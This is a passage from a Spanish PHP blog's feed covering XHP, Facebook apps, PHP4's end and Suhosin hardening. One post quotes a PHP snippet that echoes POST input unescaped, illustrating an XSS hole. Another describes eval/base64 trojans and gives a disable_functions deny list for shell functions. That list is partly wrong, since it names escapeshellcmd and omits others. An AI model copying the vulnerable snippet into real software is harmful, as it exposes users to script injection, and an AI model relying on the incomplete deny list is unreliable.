	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;avatar&quot; =&gt; $avatar,<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;comment&quot; =&gt; $comment<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );</font></font>
</p>
<p>
	<font face="Courier New"><font color="#000080">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($ss-&gt;addRow($row)) {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Si se puede agregar la fila exitosamente regresa a la pagina principal */<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $url = &#39;http://&#39; . $_SERVER[&#8216;SERVER_NAME&#8217;] . &quot;/index.php&quot;;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; header(&quot;Location: $url&quot;) ;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Si se produce un error, nos alerta del mismo */<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &quot;Error, lo sentimos pero su comentario no ha podido ser grabado.n&quot;;<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><br />
	(&#8230;)</font>
</p>
<p>
	Es decir creamos un objeto $ss, especificamos con que hoja de c&aacute;lculo deseamos trabajar con la funci&oacute;n userSpreadsheet() y con la funci&oacute;n addRow() podemos escribir el contenido del array $row en la hoja de c&aacute;lculo llamada &quot;comentarios&quot;, de ser exitosa dicha operaci&oacute;n somos redirigidos a &quot;index.php&quot;, caso contrario se nos presenta un mensaje de error para darnos a saber de que por alguna raz&oacute;n el registro no pudo ser grabado en la hoja de c&aacute;lculo.
</p>
<p>
	Este tipo de soluci&oacute;n es &uacute;til por ejemplo si deseamos utilizar <a href="http://www.volkanrivera.com/esp/?p=822" target="_blank">Google App Engine con PHP</a>. Como coment&eacute; el a&ntilde;o pasado es posible usar PHP en App Engine a trav&eacute;s del servlet <a href="http://quercus.caucho.com/quercus-3.1/" target="_blank">Quercus</a>. Sin embargo no se puede acceder directamente a BigTable desde una aplicaci&oacute;n PHP implementada de esta manera, pero la libreria &quot;Google SpreadSheet&quot;, deber&iacute;a de funcionar sin problemas en Quercus. Existen varias otros posibles escenarios en donde este tipo de soluciones ser&iacute;an utiles como por ejemplo hosting gratuitos o sencillamente formularios web que llenan directamente una hoja de c&aacute;lculo que luego puede ser compartida por los empleados de la compa&ntilde;&iacute;a.
</p>
<p>
	Si alguien utiliza este tipo de soluci&oacute;n en alg&uacute;n proyecto le agradecer&iacute;a que nos lo haga saber en los comentarios.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2010/02/usando-google-spreadsheet-como-base-de-datos/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
		<item>
		<title>Facebook presenta XHP (un PHP con esteriodes)</title>
		<link>https://volkanrivera.com/esp/2010/02/facebook-presenta-xhp-un-php-con-esteriodes/</link>
					<comments>https://volkanrivera.com/esp/2010/02/facebook-presenta-xhp-un-php-con-esteriodes/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Wed, 10 Feb 2010 15:18:29 +0000</pubDate>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tutoriales]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=1007</guid>

					<description><![CDATA[El d&#237;a de ayer, mientras todo el mundo estaba discutiendo las aplicaciones presentes y futuras de Google Buzz, Facebook present&#243; XHP. Una de las razones por las que me d&#237; cuenta de la existencia de XHP, fue gracias a que Google no ha habilitado a&#250;n Buzz en mi cuenta de Gmail. Lo cual en el [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>El d&iacute;a de ayer, mientras todo el mundo estaba discutiendo las aplicaciones presentes y futuras de <a href="http://buzz.google.com/" target="_blank">Google Buzz</a>, Facebook present&oacute; <a target="_blank" href="http://www.facebook.com/notes/facebook-engineering/xhp-a-new-way-to-write-php/294003943919">XHP</a>. Una de las razones por las que me d&iacute; cuenta de la existencia de XHP, fue gracias a que Google no ha habilitado a&uacute;n Buzz en mi cuenta de Gmail. Lo cual en el fondo agradezco ya que de otro modo hubiera pasado por alto XHP.</p>
<p><strong><em>&iquest;Qu&eacute; es XHP?</em></strong>, pues bien XHP es una extensi&oacute;n de PHP que valga la redundancia extiende la sintaxis del lenguaje para hacer la elaboraci&oacute;n de front-end m&aacute;s f&aacute;cil de leer y adem&aacute;s incrementar la seguridad. Para conseguir dicho fin hace que PHP pueda entender XML de manera nativa.</p>
<p>La aplicaci&oacute;n que Facebook le est&aacute; dando a XHP es <a href="http://lite.facebook.com/" target="_blank">Facebook Lite</a>, una versi&oacute;n mucho m&aacute;s ligera de la web de Facebook. Aunque su autor Marcel Laverdet, dice que es usado adem&aacute;s para renderizar varias partes de la web de Facebook, ya que permite combinar porciones de c&oacute;digo HTML en un simple nuevo objeto, con todas las ventajas que ello representa.</p>
<p>Pero veamos un ejemplo de c&oacute;mo la sintaxis de PHP ha cambiado con XHP, usaremos el ejemplo que Facebook da:</p>
<p><font color="#000080" size="2" face="Courier New">&lt;?php<br />
if ($_POST[&#8216;name&#8217;]) {<br />
?&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;span&gt;Hello, &lt;?=$_POST[&#8216;name&#8217;]?&gt;.&lt;/span&gt;<br />
&lt;?php <br />
} else {<br />
?&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;form method=&quot;post&quot;&gt;<br />
&nbsp;&nbsp;&nbsp; What is your name?&lt;br&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;input type=&quot;text&quot; name=&quot;name&quot;&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;input type=&quot;submit&quot;&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/form&gt;<br />
&lt;?php<br />
}<br />
</font><br />
En el c&oacute;digo anterior pueden presentarse dos problemas, el primero y m&aacute;s obvio es que seremos v&iacute;ctimas de <a target="_blank" href="http://es.wikipedia.org/wiki/Cross-site_scripting">XSS</a>; el segundo problema es que si olvidamos abrir o cerrar los tag PHP, nustra p&aacute;gina generar&iacute;a un error. Con XHP ambos problemas se resuelven, aqu&iacute; el mismo c&oacute;digo anterior pero implementado con XHP:</p>
<p><font color="#000080" size="2" face="Courier New">&lt;?php<br />
// note: includes omitted<br />
if ($_POST[&#8216;name&#8217;]) {<br />
&nbsp; echo &lt;span&gt;Hello, {$_POST[&#8216;name&#8217;]}&lt;/span&gt;;<br />
} else {<br />
&nbsp; echo<br />
&nbsp;&nbsp;&nbsp; &lt;form method=&quot;post&quot;&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What is your name?&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=&quot;text&quot; name=&quot;name&quot; /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=&quot;submit&quot; /&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/form&gt;;<br />
}</font></p>
<p>Note que ahora todo es un simple block de c&oacute;digo PHP, no hay que estar abriendo y cerrando tags PHP. Este cambio en la sintaxis del lenguaje trae consigo algunas ventajas:</p>
<ul>
<li>&nbsp;Debido a PHP es ahora context-specific, sabe que cuando la variable $_POST es invocada la entrada de datos ser&aacute; HTML y por lo tanto debe escapar los caracteres.</li>
<li>&nbsp;Incorporar XML dentro de la sintaxis PHP permite detectar errores de con los marcadores (markup) en tiempo de parseo y no en tiempo de ejecuci&oacute;n. Con lo que no podr&iacute;a existir una p&aacute;gina web generada con scripts de XHP malformada.</li>
<li>Ya que XML ahora forma parte del lenguaje, en adici&oacute;n a su uso con &quot;echo&quot;, tambi&eacute;n es posible asignarlos a una variable y manipularlos como un objeto cualquiera.</li>
<li>Adicionalmente XHP permite definir nuevos tags, con lo que complejas secciones de c&oacute;digo HTML, pueden ser ahora definidas como un nuevo marcador, desemple&ntilde;ando de hecho el XHP el papel de un sistema de templates.</li>
</ul>
<p>Debido a que todas estas ventajas me han interesado decid&iacute; probarlo y les dejo un peque&ntilde;o tutorial de c&oacute;mo intalar XHP en su server. Lo he probado con CodeIgniter y al parecer XHP no a&ntilde;ade ninguna incompatiblidad que impida usarlo en un server donde ya tengamos c&oacute;digo PHP. Aqu&iacute; les dejo como instalar XHP en un server Debian Lenny (esto puede ser usado tambi&eacute;n para Ubuntu pero recordando usar el&nbsp; &quot;sudo&quot;).</p>
<p>Primero hay que asegurarnos que tenemos instaladas todas las herramientas para compilar XHP:</p>
<p><font color="#000080" size="2" face="Courier New"># apt-get install build-essential flex bisson php5-dev</font></p>
<p>Ahora descargamos las fuentes y descomprimimos el archivo:</p>
<p># cd /tmp<br />
# wget http://github.com/facebook/xhp/tarball/1.3.7<br />
# cd /usr/src<br />
# tar -zxvf facebook-xhp-290b185.tar.gz<br />
# cd /usr/src/facebook-xhp-290b185</p>
<p>Ahora comenzamos el proceso de compilaci&oacute;n:</p>
<p><font size="2" face="Courier New"><font color="#000080"># phpize</font><br />
Configuring for:<br />
PHP Api Version:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 20041225<br />
Zend Module Api No:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 20060613<br />
Zend Extension Api No:&nbsp;&nbsp; 220060519</p>
<p><font color="#000080"># ./configure</font><br />
(&#8230;)<br />
appending configuration tag &quot;F77&quot; to libtool<br />
configure: creating ./config.status<br />
config.status: creating config.h</p>
<p><font color="#000080"># make</font><br />
(&#8230;)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Libraries have been installed in:<br />
&nbsp;&nbsp; /usr/src/facebook-xhp-290b185/modules</p>
<p>If you ever happen to want to link against installed libraries<br />
in a given directory, LIBDIR, you must either use libtool, and<br />
specify the full pathname of the library, or use the `-LLIBDIR&#8217;<br />
flag during linking and do at least one of the following:<br />
&nbsp;&nbsp; &#8211; add LIBDIR to the `LD_LIBRARY_PATH&#8217; environment variable<br />
&nbsp;&nbsp;&nbsp;&nbsp; during execution<br />
&nbsp;&nbsp; &#8211; add LIBDIR to the `LD_RUN_PATH&#8217; environment variable<br />
&nbsp;&nbsp;&nbsp;&nbsp; during linking<br />
&nbsp;&nbsp; &#8211; use the `-Wl,&#8211;rpath -Wl,LIBDIR&#8217; linker flag<br />
&nbsp;&nbsp; &#8211; have your system administrator add LIBDIR to `/etc/ld.so.conf&#8217;</p>
<p>See any operating system documentation about shared libraries for<br />
more information, such as the ld(1) and ld.so(8) manual pages.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Build complete.<br />
Don&#8217;t forget to run &#8216;make test&#8217;.</p>
<p><font color="#000080"># make test</font><br />
(&#8230;)</p>
<p><font color="#000080"># make install</font><br />
(&#8230;)<br />
</font><br />
Los parentesis (&#8230;) indican que ver&aacute;n algunos mensajes, donde he sido espec&iacute;fico es en donde muestro alg&uacute;n resultado &uacute;til para saber si vamos bien o no. Las l&iacute;neas en azul son las que Ud. debe tipear (claro omitiendo el prompt &#8216;#&#8217;).</p>
<p>Luego debemos de agregar al archivo de configuraci&oacute;n php.ini la l&iacute;nea &quot;extension=xhp.so&quot;, en Debian hay dos archivos que modificar:</p>
<p><font size="2" face="Courier New"> /etc/php5/apache2/php.ini<br />
/etc/php5/cli/php.ini<br />
</font> <br />
El primero es para agregar la extensi&oacute;n dentro del PHP incorporado como m&oacute;dulo de Apache y el segundo para hacer el cambio en PHP cuando se usa como <a href="http://es.wikipedia.org/wiki/Common_Gateway_Interface" target="_blank">CGI</a>.</p>
<p>M&aacute;s informaci&oacute;n sobre el proyecto, la nueva sitaxis que se ha agregado y como resolver algunos errores comunes, pueden encontrarse en la <a href="http://wiki.github.com/facebook/xhp/" target="_blank">wiki de XHP</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2010/02/facebook-presenta-xhp-un-php-con-esteriodes/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Aplicaciones Facebook usando CodeIgniter</title>
		<link>https://volkanrivera.com/esp/2009/12/aplicaciones-facebook-usando-codeigniter/</link>
					<comments>https://volkanrivera.com/esp/2009/12/aplicaciones-facebook-usando-codeigniter/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Tue, 22 Dec 2009 14:08:43 +0000</pubDate>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web 2.0]]></category>
		<category><![CDATA[web mushup]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=972</guid>

					<description><![CDATA[Seg&#250;n InternetNews, para el 2010 habr&#225; un aumento en la demanda de programadores PHP. Tal vez sea en parte porque el lenguaje esta alcanzando su madurez. Pero desde mi punto de vista, una de las principales razones es el hecho de que si se desea desarrollar aplicaciones para Facebook, la red social de mayor proyecci&#243;n [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Seg&uacute;n <a href="http://www.internetnews.com/dev-news/article.php/3854376/Demand+for+PHP+Android+Skills+at+AllTime+High.htm" target="_blank">InternetNews</a>, para el 2010 habr&aacute; un aumento en la demanda de programadores PHP. Tal vez sea en parte porque el lenguaje esta alcanzando su madurez. Pero desde mi punto de vista, una de las principales razones es el hecho de que si se desea desarrollar aplicaciones para Facebook, la red social de mayor proyecci&oacute;n en estos momentos, la forma m&aacute;s natural de hacerlo es utilizando PHP.</p>
<p>Programar aplicaciones para Facebook es sencillo, la documentaci&oacute;n que provee dicha red social en su secci&oacute;n para <a target="_blank" href="http://developers.facebook.com/?ref=pf">desarrolladores</a> es clara. Sin embargo embarcarnos un proyecto que sea un poco m&aacute;s complejo que un simple juego flash sin el uso de un framework puede resultar una experiencia bastante desagradable. En teor&iacute;a dado que usamos PHP para desarrollar las aplicaciones, cualquier framework para este lenguaje como <a href="http://cakephp.org/" target="_blank">CakePHP</a>, <a href="http://codeigniter.com/" target="_blank">CodeIgniter</a> o <a href="http://framework.zend.com/" target="_blank">Zend Framework</a> deber&iacute;a ser de utilidad, sin embargo aquellos que siguen este blog sabr&aacute;n que soy un fan de CodeIgniter y por lo tanto es que me interes&eacute; en como hacer funcionar CodeIgniter con el <a href="http://wiki.developers.facebook.com/index.php/PHP" target="_blank">API de Facebook</a>.</p>
<p>Debo confesar que encontrar la informaci&oacute;n no fue f&aacute;cil, la mayor parte de ella no esta actualizada y en muchos casos la informaci&oacute;n se encuentra segmentada entre diversas p&aacute;ginas web. Las dos p&aacute;ginas sobre las que me bas&eacute; para desarrollar una aplicaci&oacute;n de prueba han sido estas:</p>
<p><a target="_blank" href="http://www.simpleprojectz.com/2008/10/facebook-codeigniter/">Facebook &amp; CodeIgniter &#8211; Definitive Guide</a><br />
<a target="_blank" href="http://www.haughin.com/code/facebook/">Facebook Connect CodeIgniter Library</a></p>
<p>La aplicaci&oacute;n de prueba que he desarrollado consiste en una simple p&aacute;gina de bienvenida que muestra su nombre, la fotograf&iacute;a que utiliza como avatar en Facebook y los avatares de sus cinco primeros contactos. El resultado final puede ser probado (si tiene una cuenta en facebook) desde el siguiente URL:</p>
<p><a target="_blank" href="http://apps.facebook.com/mycifbapp/">http://apps.facebook.com/mycifbapp/</a></p>
<p>El c&oacute;digo completo de la aplicaci&oacute;n ejemplo puede ser descargado en formato zip haciendo <a target="_blank" href="/esp/wp-content/uploads/2009/12/myfbapp.zip">click aqu&iacute;</a>.</p>
<p>Solo debe descomprimirlo y editar el archivo <font face="Courier New">./myfbapp/system/application/config/constants.php</font> y editar estas l&iacute;neas:</p>
<p><font face="Courier New" color="#000080">define(&#8216;FB_API_KEY&#8217;, &#8216;1234567890abcdef1234567890abcdef&#8217;);<br />
define(&#8216;FB_SECRET&#8217;,&nbsp; &#8216;1234567890abcdef1234567890abcdef&#8217;);<br />
define(&#8216;APPLICATION_URL&#8217;, &#8216;http://apps.facebook.com/mi_applicacion/&#8217;);<br />
</font><br />
Debe reemplazar los valores apropiados que obtendr&aacute; luego de registrar su aplicaci&oacute;n en Facebook.</p>
<p>Para poder usar este ejemplo Ud. necesita:</p>
<ul>
<li>Un servidor web accesible desde Internet.</li>
<li>Soporte para PHP 5.2 (al menos).</li>
</ul>
<p>Espero que &eacute;ste ejemplo les ayude a iniciar el desarrollo de sus propias aplicaciones Facebook, a la vez que espero sus comentarios para poder mejorar o aclarar alg&uacute;n aspecto que no haya quedado claro.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2009/12/aplicaciones-facebook-usando-codeigniter/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Hasta la vista PHP4</title>
		<link>https://volkanrivera.com/esp/2008/08/hasta-la-vista-php4/</link>
					<comments>https://volkanrivera.com/esp/2008/08/hasta-la-vista-php4/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Mon, 11 Aug 2008 13:20:12 +0000</pubDate>
				<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=559</guid>

					<description><![CDATA[El pasado viernes 8 de agosto, marc&#243; el final de la vida para el popular lenguaje de scripting PHP4, con el lanzamiento del &#250;ltimo release estable de este popular lenguaje el 4.4.9, un completo an&#225;lisis sobre las alternativas para migrar aplicaciones a PHP5 puede ser encontrado en la p&#225;gina web de la revista ComputerWorld. Despu&#233;s [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>El pasado viernes 8 de agosto, marc&oacute; el final de la vida para el popular lenguaje de scripting PHP4, con el lanzamiento del &uacute;ltimo release estable de este popular lenguaje el 4.4.9, un completo an&aacute;lisis sobre las alternativas para migrar aplicaciones a PHP5 puede ser encontrado en la p&aacute;gina web de la revista <a href="http://www.computerworld.com.au/index.php/id;1239055978" target="_blank">ComputerWorld</a>.</p>
<p>Despu&eacute;s de haber estado en el mercado por m&aacute;s de 10 a&ntilde;os (su release como estable fue el 22 de mayo del 2000), el lenguaje que potencia la mayor cantidad de aplicaciones web, contin&uacute;a su evoluci&oacute;n. Hay que recordar que aunque PHP5 es el actual estable, la comunidad PHP sigue activamente trabajando en la siguiente versi&oacute;n PHP6 que estar&aacute; completamente orientada a objetos, y espero que pronto la veremos lista para el gran p&uacute;blico.</p>
<p>Tal vez una de las aplicaci&oacute;n populares que ha ofrecido mayor resistencia al cambio a PHP5 ha sido <a target="_blank" href="http://www.oscommerce.com/">OsCommerce</a>, aunque ya podemos ver que anda en su OsCommerce 3.0 Alpha 4, y tal vez en unos meses m&aacute;s tendremos una versi&oacute;n estable del popular programa de sitios de comercio electr&oacute;nico, la verdad es que aquellos que no migren sus aplicaciones a PHP5, perder&aacute;n por completo el soporte del lenguaje y tendr&aacute;n que parcharlo por ellos mismos.</p>
<p>Si tiene que migrar su aplicaci&oacute;n web a PHP5, h&aacute;galo usando un framework que le ahorre el trabajo, y como siempre he dicho mi candidato n&uacute;mero uno para el desarrollo r&aacute;pido de aplicaciones web es <a target="_blank" href="http://codeigniter.com/">CodeIgniter</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2008/08/hasta-la-vista-php4/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>¿Es PHP un buen lenguaje de programación?</title>
		<link>https://volkanrivera.com/esp/2008/07/es-php-un-buen-lenguaje-de-programacion/</link>
					<comments>https://volkanrivera.com/esp/2008/07/es-php-un-buen-lenguaje-de-programacion/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Fri, 11 Jul 2008 12:49:29 +0000</pubDate>
				<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=518</guid>

					<description><![CDATA[Aproximadamente el 60% de todos los websites en Internet usan PHP como el lenguaje usado para proveer interactividad a las p&#225;ginas. Populares websites como Facebook, Yahoo, Wikipedia o Digg usan a PHP como su principal herramienta de programaci&#243;n, sin embargo PHP ha recibido muchas cr&#237;ticas y Google lo ha ignorado cuando lanz&#243; su servicio de [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Aproximadamente el 60% de todos los websites en Internet usan PHP como el lenguaje usado para proveer interactividad a las p&aacute;ginas. Populares websites como <a target="_blank" href="http://www.facebook.com/">Facebook</a>, <a target="_blank" href="http://www.yahoo.com/">Yahoo</a>, <a target="_blank" href="http://www.wikipedia.org">Wikipedia</a> o <a target="_blank" href="http://www.digg.com/">Digg</a> usan a PHP como su principal herramienta de programaci&oacute;n, sin embargo PHP ha recibido muchas cr&iacute;ticas y Google lo ha ignorado cuando lanz&oacute; su servicio de hosting de aplicaciones web <a target="_blank" href="http://code.google.com/appengine/docs/whatisgoogleappengine.html">App Engine</a>.</p>
<p>Por eso me preguntaba si PHP es un buen lenguaje de programaci&oacute;n. Es m&aacute;s en muchas universidades es ignorado y se prefieren para la curricula lenguajes como Java, Python, Ruby o C++. Yo uso PHP y me parece un buen lenguaje de programaci&oacute;n, pero he visto que muchos lo critican por ser un lenguaje que no tiene una unidad, otros alegan que es muy dif&iacute;cil de aprender, y hay hasta quienes dicen que el c&oacute;digo hecho con PHP es extremadamente dif&iacute;cil de mantener.</p>
<p>Si todas las criticas anteriores son ciertas porque la mayor cantidad de aplicaciones web que son Open Source estan basadas en PHP. Acaso Drupal, Mambo, Joomla, WordPress, SugarCRM o MedikiaWiki han sido abandonados porque no se les puede dar mantenimiento, o porque no se les puede escalar. &iquest;Hasta que punto PHP es considerado menos con la comunidad acad&eacute;mica s&oacute;lo por ser muy popular?.</p>
<p>He encontrado una p&aacute;gina web en donde se discuten las fortalezas y debilidades de PHP, se llama <a href="http://www.tbray.org/ongoing/When/200x/2006/02/17/PHP" target="_blank">On PHP</a> y alli se puede encontrar comentarios tanto a favor como en contra de PHP, uno de los que m&aacute;s me llamo la atenci&oacute;n se titula &quot;<a target="_blank" href="http://www.tbray.org/ongoing/When/200x/2006/02/17/PHP#p-2">Un martillo puede ser usado para hacer una bella escultura, o una horrible casa de pajaros</a>&quot;, y b&aacute;sicamente esboza la perspectiva de que no es la herramienta la que hace la aplicaci&oacute;n &uacute;til o no; sino el programador. Un mal programador no hara una buen aplicaci&oacute;n as&iacute; &eacute;l use el lenguaje de programaci&oacute;n perfecto y un buen programador escribir&aacute; una buen aplicaci&oacute;n as&iacute; use el peor lenguaje que exista.</p>
<p>Ciertamente PHP es muy f&aacute;cil de usar y aprender, en contra de lo que opinen los &quot;expertos&quot;, la base de usuarios de PHP excede en al menos un orden de magnitud a su m&aacute;s cercano perseguidor, el problema es que con tanto programador amateur la calidad del c&oacute;digo producido dejar&aacute; mucho que desear, aunque como todo en el mundo Open Source mejorar&aacute; con el tiempo.</p>
<p>En el actual entorno <a target="_blank" href="http://es.wikipedia.org/wiki/LAMP">LAMP</a>/<a target="_blank" href="http://es.wikipedia.org/wiki/WAMP">WAMP</a>, ciertamente PHP es un leguaje que se debe conocer para poder competir en el actual entorno server-centrico de Internet, sin embargo debido a que Internet no es un medio est&aacute;tico, &eacute;sto puede cambiar debido a las tecnolog&iacute;as que dan soporte al web, conforme la web migre de un entorno basado en servidores (server-centrico) a un entorno basado en cloud computing, los lenguajes de programaci&oacute;n usados para desarrollar aplicaciones web, ciertamente cambiaran y dado al decidido apoyo de Google hacia Python, ciertamente este es el siguiente lenguaje que se debe aprender. Aunque como el futuro es impredescible, quien sabe a lo mejor Amazon, o cualquier otro gran actor (IBM, Sun, etc) de las TIC ofrece una arquitectura de nube que usa PHP como lenguaje y extiende el dominio de &eacute;ste lenguaje una d&eacute;cada m&aacute;s. El futuro es impredescible y para estar preparados para &eacute;l es mejor apostarle a todos los caballos.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2008/07/es-php-un-buen-lenguaje-de-programacion/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>PHP Suhosin excelente patch de seguridad para servidores compartidos</title>
		<link>https://volkanrivera.com/esp/2008/05/php-suhosin-excelente-patch-de-seguridad-para-servidores-compartidos/</link>
					<comments>https://volkanrivera.com/esp/2008/05/php-suhosin-excelente-patch-de-seguridad-para-servidores-compartidos/#comments</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Sat, 31 May 2008 13:12:39 +0000</pubDate>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Seguridad]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=434</guid>

					<description><![CDATA[Debido a la naturaleza colaborativa del desarrollo de PHP (hay decenas de programadores involucrados de distintas regiones del planeta), es muy dif&#237;cil que errores en la programaci&#243;n de PHP en s&#237; mismo sean detectables, incluso para los programadores del PHP Core, y por ello se introduce algunas veces errores en funciones de PHP que pueden [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Debido a la naturaleza colaborativa del desarrollo de PHP (hay decenas de programadores involucrados de distintas regiones del planeta), es muy dif&iacute;cil que errores en la programaci&oacute;n de PHP en s&iacute; mismo sean detectables, incluso para los programadores del PHP Core, y por ello se introduce algunas veces errores en funciones de PHP que pueden permitir a un atacante remoto escalar privilegios en el server, o instalar troyanos aprovechando un buffer overflow en alguna funci&oacute;n de PHP. Para tratar de contener &eacute;ste tipo de fallas es que existe un proyecto llamado <a target="_blank" href="http://www.hardened-php.net/suhosin/">Suhosin</a>, que se encarga de proteger a los usuarios de PHP de vulnerabilidades conocidas o desconocidas que forman parte del c&oacute;digo PHP en s&iacute; mismo. Para lograr tal fin Suhosin viene en dos partes que pueden utilizarce en forma separada o conjunta. La primera parte es un peque&ntilde;o parche al PHP Core (el n&uacute;cleo del lenguaje), que implementa unas cuantas medidas de protecci&oacute;n b&aacute;sica de bajo nivel contra vulnerabilidades debidas a buffer overflow o problemas con el formato de los string (cadenas de texto). La segunda parte de Suhosin es una poderosa extensi&oacute;n que implementa medidas de protecci&oacute;n adicionales como puede ser bloquear o desactivar funciones de PHP en caso de necesidad.</p>
<p>Si se usa un hosting compartido, es una muy buena idea instalar Suhosin, porque jamas uno puede estar seguro del c&oacute;digo de un cliente que paga por hosting casi nada, y que le resulta extremadamente f&aacute;cil saltar de un hosting a otro debido a la tremenda oferta existente. Debido a ello no le presta mucha atenci&oacute;n a la seguridad de su c&oacute;digo.</p>
<p>Adicionalmente a instalar Suhosin, una muy buena medida complementaria es deshabilitar la funci&oacute;n <a target="_blank" href="http://us2.php.net/manual/en/function.eval.php">eval()</a> de PHP que abre las puertas a que cualquiera que consiga inyectar c&oacute;digo en un script PHP puede ejecutar c&oacute;digo PHP arbitr&aacute;rio sobre el server. Muchas veces themes o plugins de Joomla, Mambo o WordPress, traen troyanos ocultos por una funci&oacute;n <a target="_blank" href="http://us2.php.net/base64_decode">base64_decode()</a>, que es luego ejecutada por eval(), hable sobre ello en diciembre del a&ntilde;o pasado en un post de &eacute;ste blog llamado &quot;<a target="_blank" href="http://www.volkanrivera.com/esp/?p=69">Troyanos en themes de WordPress</a>&quot;, pero parece que la t&eacute;cnica se ha vuelto tan popular para ocultar troyanos que es aplicada en todo script que pretende infectar un webserver.</p>
<p>Entonces para evitar problemas debemos instalar Suhosin y deshabilitar eval(), de esa forma si alguien tiene un site infectado nos llamara para reportar que &quot;<em><font face="Verdana">el server tiene un error</font></em>&quot;, porque su p&aacute;gina no se ve bien. Para conseguir el objetivo anterior debemos de hacer &eacute;stos simple pasos en nuestro Debian (en Ubuntu s&oacute;lo a&ntilde;adir sudo delante de cada comando):</p>
<p><font face="Courier New" color="#000080"># apt-get install php5-suhosin<br />
# echo &quot;suhosin.executor.disable_eval=On&quot; &gt;&gt; /etc/php5/apache2/php.ini<br />
# /etc/init.d/apache2 force-reload<br />
</font><br />
Y listo, ya tenemos a nuestro servidor un poquito m&aacute;s protegido que antes, ahora al menos los troyanos no se ejecutaran tan f&aacute;cilmente, los forzamos a ser m&aacute;s visibles. Complementariamente siempre es buena idea deshabilitar las fuciones que permiten ejecutar comandos del sistema con los privilegios del usuario del webserver (en Debian www-data), para ello edite el archivo<strong> <font color="#333399">/etc/php5/apache2/php.ini</font></strong> busque la l&iacute;nea que diga &quot;<font color="#333399"><strong>disable_functions</strong></font>&quot; y agregue la lista de funciones shell que desea deshabilitar separadas por comas, una buena idea es poner &eacute;stos valores:</p>
<p><font face="Courier New" color="#000080">disable_functions = exec, system, escapeshellcmd</font></p>
